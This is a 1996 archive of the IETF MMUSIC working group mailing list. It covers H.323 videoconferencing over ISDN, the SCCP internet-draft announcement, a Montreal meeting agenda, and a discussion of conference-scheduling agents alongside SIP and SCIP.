Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28229>; Thu, 13 Jun 1996 00:43:37 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA28223>; Thu, 13 Jun 1996 00:43:35 -0700
Received: from ifhamy.insa-lyon.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA04124>; Thu, 13 Jun 1996 00:43:33 -0700
Received: (from ldepieri@localhost) 
        by ifhamy.insa-lyon.fr (8.6.9/8.6.5/AEDI-AG) 
        id JAA11681 for confctrl@isi.edu; Thu, 13 Jun 1996 09:43:31 +0200
From: Luis de Pieri <ldepieri@ifhamy.insa-lyon.fr>
Message-Id: <199606130743.JAA11681@ifhamy.insa-lyon.fr>
Subject: H.323 / ISDN
To: confctrl@ISI.EDU
Date: Thu, 13 Jun 1996 09:43:31 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 8bit
Content-Length: 392       
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hello,

	I'm thinking about the possibility of joining two H.323 LAN's with a
ISDN line, something like this:


                                      ISDN                                     
H.323 LAN<-->Router ISDN/TCP.IP<---------------->Router ISDN/TCP.IP<-->H.323 LAN

	Does anybody thinks that this configuration would allow videoconference
between the two H.323 LAN ?

	Thanks,
		Luis

From majordom@ISI.EDU  Thu Jun 13 01:40:18 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23910>; Thu, 13 Jun 1996 08:39:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23904>; Thu, 13 Jun 1996 08:39:33 -0700
Received: from ormail.intel.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA17381>; Thu, 13 Jun 1996 08:39:31 -0700
Received: from ibeam.intel.com (ibeam.jf.intel.com [134.134.208.3]) by ormail.intel.com (8.7.4/8.7.3) with SMTP id IAA25165; Thu, 13 Jun 1996 08:39:30 -0700 (PDT)
Received: from jtoga3.jf.intel.com by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0uUEWF-000RVdC; Thu, 13 Jun 96 08:41 PDT
Message-Id: <2.2.32.19960613154018.006b8df8@ibeam.jf.intel.com>
X-Sender: jtoga@ibeam.jf.intel.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 13 Jun 1996 08:40:18 -0700
To: Luis de Pieri <ldepieri@ifhamy.insa-lyon.fr>
From: Jim Toga <jtoga@ibeam.jf.intel.com>
Subject: Re: H.323 / ISDN
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 09:43 AM 6/13/96 +0200, Luis de Pieri wrote:
>Hello,
>
>	I'm thinking about the possibility of joining two H.323 LAN's with a
>ISDN line, something like this:
>
>                                      ISDN                                     
>H.323 LAN<-->Router ISDN/TCP.IP<---------------->Router
ISDN/TCP.IP<-->H.323 LAN
>
>	Does anybody thinks that this configuration would allow videoconference
>between the two H.323 LAN ?
>
>	Thanks,
>		Luis
>
>

Luis,

In fact, the orginal intent of H.323 was to bring ISDN-based (H.320) video
conferencing onto the LAN. (This changed slightly when more computer
manufacturers, as opposed to Telephony got involved)   One of the specified
components is a Gateway, which allows interoperation between H.323 endpoints
and any one of the H.320(ISDN), H.324 (POTS) or H.310 (ATM) protocols.

Obviously you could simply run IP over the ISDN line (i.e. remote LAN
access) and there would be no need for a Gateway.  I presume this is not
what you meant, since you mentioned 'two LANS.'

jimt


*************************************************************************
***  503.264.8816(voice)                503.264.3485(fax)             *** 
***  jtoga@ibeam.intel.com              Intel - Hillsboro, OR.        *** 
*************************************************************************


From majordom@ISI.EDU  Thu Jun 13 23:00:21 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10023>; Thu, 13 Jun 1996 12:02:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10014>; Thu, 13 Jun 1996 12:02:05 -0700
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA29870>; Thu, 13 Jun 1996 12:01:57 -0700
Received: by   ruin.informatik.uni-bremen.de (8.6.10/20.9.94cl) 
	  id   VAA26495
          Thu, 13 Jun 1996 21:00:21 +0200
Date: Thu, 13 Jun 1996 21:00:21 +0200
Message-Id: <199606131900.VAA26495@ruin.informatik.uni-bremen.de>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
To: internet-drafts@cnri.reston.va.us
Cc: confctrl@ISI.EDU
Subject: draft-ietf-mmusic-sccp-00.txt
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Dear I-D Editor,

as part of the work of the MMUSIC WG, I'm now submitting the SCCP
draft.

You can find the internet-draft at

http://www-rn.informatik.uni-bremen.de/research/sccp.txt

(there also are PostScript and HTML versions at this place that you
probably don't need.)

I'm CCing the mailing list of the WG, confctrl@ISI.EDU.

Gruesse, Carsten

From majordom@ISI.EDU  Thu Jun 13 11:39:47 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02721>; Thu, 13 Jun 1996 18:39:08 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02707>; Thu, 13 Jun 1996 18:39:06 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-23)
	id <AA20757>; Thu, 13 Jun 1996 18:39:05 -0700
Received: from churchy (churchy.std.sri.com) by std.sri.com (4.1/SMI-4.1)
	id AA08935; Thu, 13 Jun 96 18:39:47 PDT
Date: Thu, 13 Jun 96 18:39:47 PDT
From: rlang@std.sri.com (Ruth Lang)
Message-Id: <9606140139.AA08935@std.sri.com>
Received: by churchy (4.1/SMI-4.1)
	id AA12528; Thu, 13 Jun 96 18:39:44 PDT
To: confctrl@ISI.EDU
Cc: schooler@jade.hpl.hp.com, m.handley@cs.ucl.ac.uk, rlang@std.sri.com
Subject:  Draft Agenda
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Folks,

The MMUSIC working group has been scheduled for two session at the
Montreal IETF.  The tentative agenda is listed below and your comments
are welcome.

We will post pointers to the latest documents in the next few days as
they become available.

Hope to see you in Montreal!

Mark, Eve, and Ruth


Monday June 24th, 1530-1730
---------------------------

SIP - Session Invitation Protocol (20 min)
	Mark Handley, UCL

SCIP - Simple Conference Invitation Protocol (20 min)
	Henning Schulzrinne, GMD Fokus

SCIP and SIP Requirements and Design Issues (40 min)

SCCP - Simple Conference Control Protocol (40 min)
	Carsten Bormann, Universitaet Bremen


Wednesday June 26th, 0900-1130
------------------------------

SDP - Session Description Protocol (15 min)
	Mark Handley, UCL

SDAP - Session Directory Announcement Protocol (30 min)
	Mark Handley, UCL

H.323 for the Internet (60 min)
	Joerg Ott, TU Berlin
	Others as well

User Location (15 min)
	Max Morris, Microsoft 

Control of Recording and Playback Media Streams (15 min)
	Jeff Smith, NTT

MMUSIC Scope: Transport vs Application (15 min) 


From majordom@ISI.EDU  Fri Jun 14 19:10:13 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13796>; Fri, 14 Jun 1996 04:10:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13790>; Fri, 14 Jun 1996 04:10:08 -0700
Received: from xr3.atlas.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA05613>; Fri, 14 Jun 1996 04:09:59 -0700
X400-Received: by /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Fri, 14 Jun 1996 13:09:50 +0200
X400-Received: by mta xr3.atlas.fr in /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Fri, 14 Jun 1996 13:09:50 +0200
X400-Received: by /ADMD=ATLAS/C=FR/; Relayed; Fri, 14 Jun 1996 13:09:49 +0200
X400-Received: by /PRMD=sept/ADMD=atlas/C=FR/; Relayed;
               Fri, 14 Jun 1996 17:10:13 +0200
Date: Fri, 14 Jun 1996 17:10:13 +0200
X400-Originator: Denis.Bigorgne@sept.fr
X400-Recipients: confctrl@isi.edu
X400-Mts-Identifier: [/PRMD=sept/ADMD=atlas/C=FR/;83475061378470000BIGORGNE]
X400-Content-Type: P2-1984 (2)
Content-Identifier: UCOMX
Alternate-Recipient: Allowed
From: Denis BIGORGNE <Denis.Bigorgne@sept.fr>
Message-Id: <83475061378470000BIGORGNE*/G=Denis/S=Bigorgne/PRMD=sept/ADMD=atlas/C=FR/@MHS>
To: IETF MMUSIC WG confctrl list <confctrl@ISI.EDU> (Non Receipt Notification 
    Requested)
Subject:  Session Scheduling
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning Schulzrinne, and other before, put the question of the link
between conference invitation and agenda applications. Henning
noticed that it will be smart to update its own calendar automatically
after a conference scheduling. It seems to me that the main utility
of  such a link should be to facilitate the scheduling of meetings with
a limited number of participants, specially when the time-slots are few
and small, for instance for intercontinental conferences,  or for busy
peoples.

The current invitation protocol drafts are directed towards immediate
invitation made at the beginning or during the conference. A protocol
for conference scheduling will describe transactions which could be
done before a conference and may include a time-slot negociation
as well as a session ressources  negociation (and reservation ?). 
These transactions should be done between a conference initiator
application and the invitee agents (eventually through proxies). The
initiator application will have some links with name directory services
and, if some ressource reservation is needed, with the ressource agents.

The invitee agent will act as a network secretary, representing and
interfacing the user (invitee) with other networks agents or users for
the scheduling of meetings. Obviously this agent must be permanent,
running on a server reachable at any time. At a conference scheduling
request, the invitee agent may (depending on local rules):
	- try to locate the user (logged, pager, phone), notify him of the
invitation and interface him with the scheduling protocol for an immediate
negotiation reply.
	- mail the invitation to the user for a further reply.
	- stand for the user, accepting or refusing the invitation and 
negotiating the type of  the session (media, QoS) and the date of the
meeting using its own agenda.

This agent may have other functions like :
	- answer to personal inquiries (locating the user, sending 
business card a la Versit - http://www.versit.com, web home-page
URL,)
	- receiving mail and pre-processing it (acknowledgment)
The conference scheduling and invitation is not limited to MBone
session; it may be used for (internet) telephone call, for physical
meetings, for ISDN videoconference.

The agent will have two faces: a public one, obeying to common protocol,
for conference scheduling, immediate invitation, SMTP?, etc... , and
a private one like the interface with the user agenda (and indeed, I will
prefer to limit the disclosure of my agenda to my nearest workgroup).

First problem will be the relation with the session invitation protocol
drafts; could we envisage an extension, or should it be a different
protocol ?

Anyone interested ?

Amicalement,

	Denis

Denis Bigorgne
SEPT - Service d'Etudes communes de La Poste et de France Telecom
bigorgne@sept.fr
phone: +33 31 75 92 29             fax: +33 31 75 06 31

From majordom@ISI.EDU  Fri Jun 14 16:56:34 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15012>; Fri, 14 Jun 1996 05:57:57 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15006>; Fri, 14 Jun 1996 05:57:54 -0700
Received: from ruin.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA09103>; Fri, 14 Jun 1996 05:57:48 -0700
Received: by   ruin.informatik.uni-bremen.de (8.6.10/20.9.94cl) 
	  id   OAA14423
          Fri, 14 Jun 1996 14:56:34 +0200
Date: Fri, 14 Jun 1996 14:56:34 +0200
Message-Id: <199606141256.OAA14423@ruin.informatik.uni-bremen.de>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
To: Denis BIGORGNE <Denis.Bigorgne@sept.fr>
Cc: IETF MMUSIC WG confctrl list <confctrl@ISI.EDU>
Subject: Re: Session Scheduling
In-Reply-To: <83475061378470000BIGORGNE*/G=Denis/S=Bigorgne/PRMD=sept/ADMD=atlas/C=FR/@MHS>
References: <83475061378470000BIGORGNE*/G=Denis/S=Bigorgne/PRMD=sept/ADMD=atlas/C=FR/@MHS>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

A calendar application could, as payload, carry invitation messages
e.g. in SIP format.  (This is one of the beauties of a connectionless
protocol such as SIP.)  We have to make sure, though, that the
information in SIP invitations is sufficiently long-lived for this
(e.g., by removing IP addresses and replacing them with host names).

Note that I said "application" -- I'd like to keep the standardization
of calendar application interoperation protocol separate from the
conference control standardization.

Now, of course, a scheduling session is a slightly strange kind of
conference, so you might use SIP to establish a scheduling conference,
within which you transfer SIP invitations for the real conference.

Gruesse, Carsten

From majordom@ISI.EDU  Fri Jun 14 05:41:48 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16538>; Fri, 14 Jun 1996 07:04:27 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16532>; Fri, 14 Jun 1996 07:04:26 -0700
Received: from ietf.cnri.reston.va.us by venera.isi.edu (5.65c/5.61+local-23)
	id <AA11458>; Fri, 14 Jun 1996 07:04:24 -0700
Received: from [127.0.0.1] by IETF.CNRI.Reston.VA.US id aa17226;
          14 Jun 96 9:41 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@CNRI.Reston.VA.US
Reply-To: Internet-Drafts@CNRI.Reston.VA.US
Subject: I-D ACTION:draft-ietf-mmusic-sccp-00.txt
Date: Fri, 14 Jun 96 09:41:48 -0400
Message-Id:  <9606140941.aa17226@IETF.CNRI.Reston.VA.US>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts 
directories. This draft is a work item of the Multiparty Multimedia Session
Control Working Group of the IETF.                                         

       Title     : Simple Conference Control Protocol                      
       Author(s) : C. Bormann, J. Ott, C. Reichert
       Filename  : draft-ietf-mmusic-sccp-00.txt
       Pages     : 29
       Date      : 06/13/1996

This document defines a simple conference control protocol for tightly 
coupled conferences, based on the Internet Multimedia Conferencing 
Architecture [1].  The functions provided are based on the services offered
by the ITU-T recommendations of the T.120 (and H.320) series [2], they are,
however, not a simple ``port'' of these recommendations to the Internet.  
Instead, the aim is to define a simple conference control protocol that is 
rich enough to allow the construction of gateways to the T.120 world.  
Also, the protocol is intended to be scalable and robust to failures.  In 
contrast to the ITU-T recommendations, it allows the use of IP multicast 
both for multimedia information and for other applications and control 
streams.                                                       

This document is a product of the IETF MMUSIC working group.  Comments are 
solicited and should be addressed to the working group's mailing list at 
confctrl@isi.edu and/or the authors.                                       

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-sccp-00.txt".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sccp-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa                                   
        Address:  ftp.is.co.za (196.4.160.8)	
	                                                
     o  Europe                                   
        Address:  nic.nordu.net (192.36.148.17)	
        Address:  ftp.nis.garr.it (193.205.245.10)
	                                                
     o  Pacific Rim                              
        Address:  munnari.oz.au (128.250.1.21)	
	                                                
     o  US East Coast                            
        Address:  ds.internic.net (198.49.45.10)	
	                                                
     o  US West Coast                            
        Address:  ftp.isi.edu (128.9.0.32)  	
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-sccp-00.txt".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
For questions, please mail to Internet-Drafts@cnri.reston.va.us.
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19960613170841.I-D@CNRI.Reston.VA.US>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sccp-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-sccp-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19960613170841.I-D@CNRI.Reston.VA.US>

--OtherAccess--

--NextPart--


From majordom@ISI.EDU  Fri Jun 14 18:30:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17265>; Fri, 14 Jun 1996 07:33:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17259>; Fri, 14 Jun 1996 07:33:38 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA12557>; Fri, 14 Jun 1996 07:33:35 -0700
Message-Id: <199606141433.AA12557@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Fri, 14 Jun 1996 16:30:58 +0200
X-Mailer: exmh version 1.6.7 5/3/96
To: Denis BIGORGNE <Denis.Bigorgne@sept.fr>
Cc: confctrl@ISI.EDU
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: Re: Session Scheduling
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 14 Jun 1996 16:30:51 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


The functionality you list is a pretty good description of what SCIP 
and SIP can do. We are implementing a subset of that functionality 
(including user location, email notification, automatic acceptance, and 
interface to the phone network). We haven't worried about pagers, but 
http://www.mediawhse.com/eml2pgr/INFO.html has done that already...

> The invitee agent will act as a network secretary, representing and
> interfacing the user (invitee) with other networks agents or users for
> the scheduling of meetings. Obviously this agent must be permanent,
> running on a server reachable at any time. At a conference scheduling
> request, the invitee agent may (depending on local rules):
> 	- try to locate the user (logged, pager, phone), notify him of the
> invitation and interface him with the scheduling protocol for an immediate
> negotiation reply.
> 	- mail the invitation to the user for a further reply.
> 	- stand for the user, accepting or refusing the invitation and 
> negotiating the type of  the session (media, QoS) and the date of the
> meeting using its own agenda.
> 
> This agent may have other functions like :
> 	- answer to personal inquiries (locating the user, sending 
> business card a la Versit - http://www.versit.com, web home-page
> URL,)
> 	- receiving mail and pre-processing it (acknowledgment)
> The conference scheduling and invitation is not limited to MBone
> session; it may be used for (internet) telephone call, for physical
> meetings, for ISDN videoconference.
> 
> 
> First problem will be the relation with the session invitation protocol
> drafts; could we envisage an extension, or should it be a different
> protocol ?
> 
> Anyone interested ?
> 
> Amicalement,
> 
> 	Denis
> 
> Denis Bigorgne
> SEPT - Service d'Etudes communes de La Poste et de France Telecom
> bigorgne@sept.fr
> phone: +33 31 75 92 29             fax: +33 31 75 06 31



From majordom@ISI.EDU  Fri Jun 14 23:42:01 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18888>; Fri, 14 Jun 1996 08:43:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18882>; Fri, 14 Jun 1996 08:43:53 -0700
Received: from xr3.atlas.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA15695>; Fri, 14 Jun 1996 08:43:50 -0700
X400-Received: by /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Fri, 14 Jun 1996 17:43:22 +0200
X400-Received: by mta xr3.atlas.fr in /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Fri, 14 Jun 1996 17:43:22 +0200
X400-Received: by /ADMD=ATLAS/C=FR/; Relayed; Fri, 14 Jun 1996 17:43:17 +0200
X400-Received: by /PRMD=sept/ADMD=atlas/C=FR/; Relayed;
               Fri, 14 Jun 1996 21:42:01 +0200
Date: Fri, 14 Jun 1996 21:42:01 +0200
X400-Originator: Denis.Bigorgne@sept.fr
X400-Recipients: cabo@informatik.uni-bremen.de, confctrl@isi.edu
X400-Mts-Identifier: [/PRMD=sept/ADMD=atlas/C=FR/;83476692176470001BIGORGNE]
X400-Content-Type: P2-1984 (2)
Content-Identifier: UCOMX
Alternate-Recipient: Allowed
From: Denis BIGORGNE <Denis.Bigorgne@sept.fr>
Message-Id: <83476692176470001BIGORGNE*/G=Denis/S=Bigorgne/PRMD=sept/ADMD=atlas/C=FR/@MHS>
To: Carsten Bormann <cabo@informatik.uni-bremen.de> (Non Receipt Notification 
    Requested),
        IETF MMUSIC WG confctrl list <confctrl@ISI.EDU> (Non Receipt 
    Notification Requested)
In-Reply-To: <199606141256.OAA14423@ruin....>
References: <83475061378470000BIGORGNE*/G=Denis/S=Bigorgne/PRMD=sept/ADMD=atlas/C=FR/@MHS>
Subject:  Rep (2) :  Session Scheduling
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Carsten Bormann wrote :

> A calendar application could, as payload, carry invitation messages
> e.g. in SIP format.  
> ... (deleted)
> Note that I said "application" -- I'd like to keep the standardization
> of calendar application interoperation protocol separate from the
> conference control standardization.

I fully agree, and more, my description of the secretary (invitee) agent
was distinct from a calendar application. The secretary agent may
interact with the conference initiator under the conference invitation/
scheduling protocol - public - and, in another channel, may interact
with the user or its calendar application under proprietary or public
protocol (like Versit vCalendar). It is true that the functionnality of
the secretary could be integrated in a calendar application, but a
separate secretary may permit the use of existing calendar
applications and avoid the full publication of  calendar which is
needed in group scheduling applis (like Microsoft Schedule+).

> Now, of course, a scheduling session is a slightly strange kind of
> conference, so you might use SIP to establish a scheduling conference,
> within which you transfer SIP invitations for the real conference.

A recurrence / bootstrap problem !  So my proposal was to run the 
transaction before any conference, in an asynchronous interaction
if the user isn't directly reachable.

Amicalement,

	Denis



From majordom@ISI.EDU  Fri Jun 14 17:27:32 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20808>; Fri, 14 Jun 1996 09:19:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20802>; Fri, 14 Jun 1996 09:19:52 -0700
Received: from egate.lut.ac.uk by venera.isi.edu (5.65c/5.61+local-23)
	id <AA17668>; Fri, 14 Jun 1996 09:19:48 -0700
Received: from mailhost.lut.ac.uk [131.231.16.7] (pp)
	by egate.lut.ac.uk with smtp (Exim 0.52 #1)
	id E0uUbar-0007IQ-00; Fri, 14 Jun 1996 17:19:29 +0100
Received: from slip-coba.lut.ac.uk by hpd.lut.ac.uk (15.11/SMI-4.1) id AA05206;
          Fri, 14 Jun 96 17:19:06 bst
X-Sender: coba@hpd.lut.ac.uk
Message-Id: <v01530500ade7448a9523@[131.231.29.159]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 14 Jun 1996 17:27:32 +0000
To: Carsten Bormann <cabo@informatik.uni-bremen.de>
From: B.Anderson@lboro.ac.uk (Ben Anderson)
Subject: Re: Session Scheduling
Cc: Denis BIGORGNE <Denis.Bigorgne@sept.fr>,
        IETF MMUSIC WG confctrl list <confctrl@ISI.EDU>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 2:56 pm 14/6/96, Carsten Bormann wrote:
>A calendar application could, as payload, carry invitation messages
>e.g. in SIP format.  (This is one of the beauties of a connectionless
>protocol such as SIP.)  We have to make sure, though, that the
>information in SIP invitations is sufficiently long-lived for this
>(e.g., by removing IP addresses and replacing them with host names).
>

this'd be cool - one can imagine a local 2-way communication between a
calendar and sdr based on SIP - after all, SDP = Simple Diary Protocol :-).
I'm not sure we need to extend SIP too much - the current reply/negotiation
framework might work *provided* we take into account the fact that the
final response could be days, even weeks later, and by some other medium.
This implies the initiating client being aware that the user is initiating
a 'schedule' SIP message and behaving accordingly.

I also have grave reservations about the 'automation' aspect of 'proxies'
and 'agents' - some work done here at LUT suggests that providing people
with automatic diary managers (in the context of distributed agent
research) can be problematic as people do actually like to have personal
control over their calanders...

Anyhow, this is a 'hot' topic in CSCW just now and it'd be good to see if
it can be 'played out' in MMUSIC.

cheers
ben.

******************************************************************************
                http://pipkin.lut.ac.uk/~ben/sig.html



From majordom@ISI.EDU  Sat Jun 15 00:46:30 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22316>; Fri, 14 Jun 1996 09:50:06 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22309>; Fri, 14 Jun 1996 09:50:04 -0700
Received: from xr3.atlas.fr by venera.isi.edu (5.65c/5.61+local-23)
	id <AA19491>; Fri, 14 Jun 1996 09:49:55 -0700
X400-Received: by /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Fri, 14 Jun 1996 18:49:42 +0200
X400-Received: by mta xr3.atlas.fr in /PRMD=INTERNET/ADMD=ATLAS/C=FR/; Relayed;
               Fri, 14 Jun 1996 18:49:42 +0200
X400-Received: by /ADMD=ATLAS/C=FR/; Relayed; Fri, 14 Jun 1996 18:49:40 +0200
X400-Received: by /PRMD=sept/ADMD=atlas/C=FR/; Relayed;
               Fri, 14 Jun 1996 22:46:30 +0200
Date: Fri, 14 Jun 1996 22:46:30 +0200
X400-Originator: Denis.Bigorgne@sept.fr
X400-Recipients: schulzrinne@fokus.gmd.de, confctrl@isi.edu
X400-Mts-Identifier: [/PRMD=sept/ADMD=atlas/C=FR/;83477079076470002BIGORGNE]
X400-Content-Type: P2-1984 (2)
Content-Identifier: UCOMX
Alternate-Recipient: Allowed
From: Denis BIGORGNE <Denis.Bigorgne@sept.fr>
Message-Id: <83477079076470002BIGORGNE*/G=Denis/S=Bigorgne/PRMD=sept/ADMD=atlas/C=FR/@MHS>
To: schulzrinne@fokus.gmd.de (Non Receipt Notification Requested),
        confctrl@ISI.EDU
In-Reply-To: <"4178 Fri Jun 14 16:35:20 1996"@atlas.fr>
Subject:  Re:  Session Scheduling
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Henning Schulzrinne wrote :

> The functionality you list is a pretty good description of what SCIP 
> and SIP can do.

I'm aware of that... But :

1) I don't see in the current drafts (SCIP-00 and SIP-00) any place
for time-slot negotiation (Am I wrong ?). A minimal request for date
negociation will be to have the possibility to specify several time-slot
in order to find one of them satisfying all the participants. In SDP,
multiple time fields are for multiple activitation of a session.

2) SIP run after the session creation. I understood that SCIP should
be run shortly before the beginning of a session. I want to be able
to schedule a session a long time in advance.

I don't want to push another protocol. If the scheduling and the
time negotiation functionality could be added to SCIP or SIP, it will
be perfectly OK. I was afraid of the added complexity, specially for
the ligth connectionless architecture of SIP.

Another aspect which could be highlighted is the redirection capability
or SCIP. It put the complexity of the effective contact with the user
(by phone, pager, etc...) on the initiator application, under protocol
constraint. It could be better to let this stuff to the local invitee agent,
acting as an interface between the initiator and the invitee. This way,
the initiator (appli) may have only one communication protocol, and
the invitee agent may be configured around the effective media available
to the invitee (this doesn't preclude an answer requesting a direct phone
call, itself out of the scope of the protocol and the agents).
    
> We are implementing a subset of that functionality 
> (including user location, email notification, automatic acceptance, and 
> interface to the phone network). 
Well, this complexity seems manageable... ;-)

Amicalement,

	Denis



From majordom@ISI.EDU  Fri Jun 14 21:11:37 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23366>; Fri, 14 Jun 1996 10:13:47 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23353>; Fri, 14 Jun 1996 10:13:45 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-23)
	id <AA20814>; Fri, 14 Jun 1996 10:13:42 -0700
Message-Id: <199606141713.AA20814@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Fri, 14 Jun 1996 19:11:46 +0200
X-Mailer: exmh version 1.6.7 5/3/96
To: Denis BIGORGNE <Denis.Bigorgne@sept.fr>
Cc: confctrl@ISI.EDU
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: Re: Session Scheduling
In-Reply-To: Your message of "Fri, 14 Jun 1996 22:46:30 +0200." <83477079076470002BIGORGNE*/G=Denis/S=Bigorgne/PRMD=sept/ADMD=atlas/C=FR/@MHS>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Fri, 14 Jun 1996 19:11:37 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


I don't see why conference scheduling should be separated from a 
general distributed 'resource' scheduler, where the most common 
resource which people worry about scheduling is going to be people 
time, not network resources. Networks that constrain when a small group 
can meet won't be very popular... That said, one could easily imagine a 
'network stand-in' that would represent the scheduling constraints of 
the network. I'd leave the advance scheduling to the vCalendar (et al.) 
folks. Their stuff seems flexible enough to incorporate an SDP-like 
session description, if that's deemed appropriate. There's also an RSVP 
angle to this, naturally.

> Another aspect which could be highlighted is the redirection capability
> or SCIP. It put the complexity of the effective contact with the user
> (by phone, pager, etc...) on the initiator application, under protocol
> constraint. It could be better to let this stuff to the local invitee agent,
> acting as an interface between the initiator and the invitee. This way,
> the initiator (appli) may have only one communication protocol, and
> the invitee agent may be configured around the effective media available
> to the invitee (this doesn't preclude an answer requesting a direct phone
> call, itself out of the scope of the protocol and the agents).

This is not correct. A redirect can be handled by either the called 
party or the calling party. However, handling of redirects is pretty 
trivial (somewhere on the order of ten lines of code), so I don't 
anticipate that this will be left out even for simple end systems.

Since packet loss, reordering, duplicates, etc. are not possible when 
using TCP, one might argue that 'lightweight application' and 'UDP' are 
not necessarily the same....

Henning



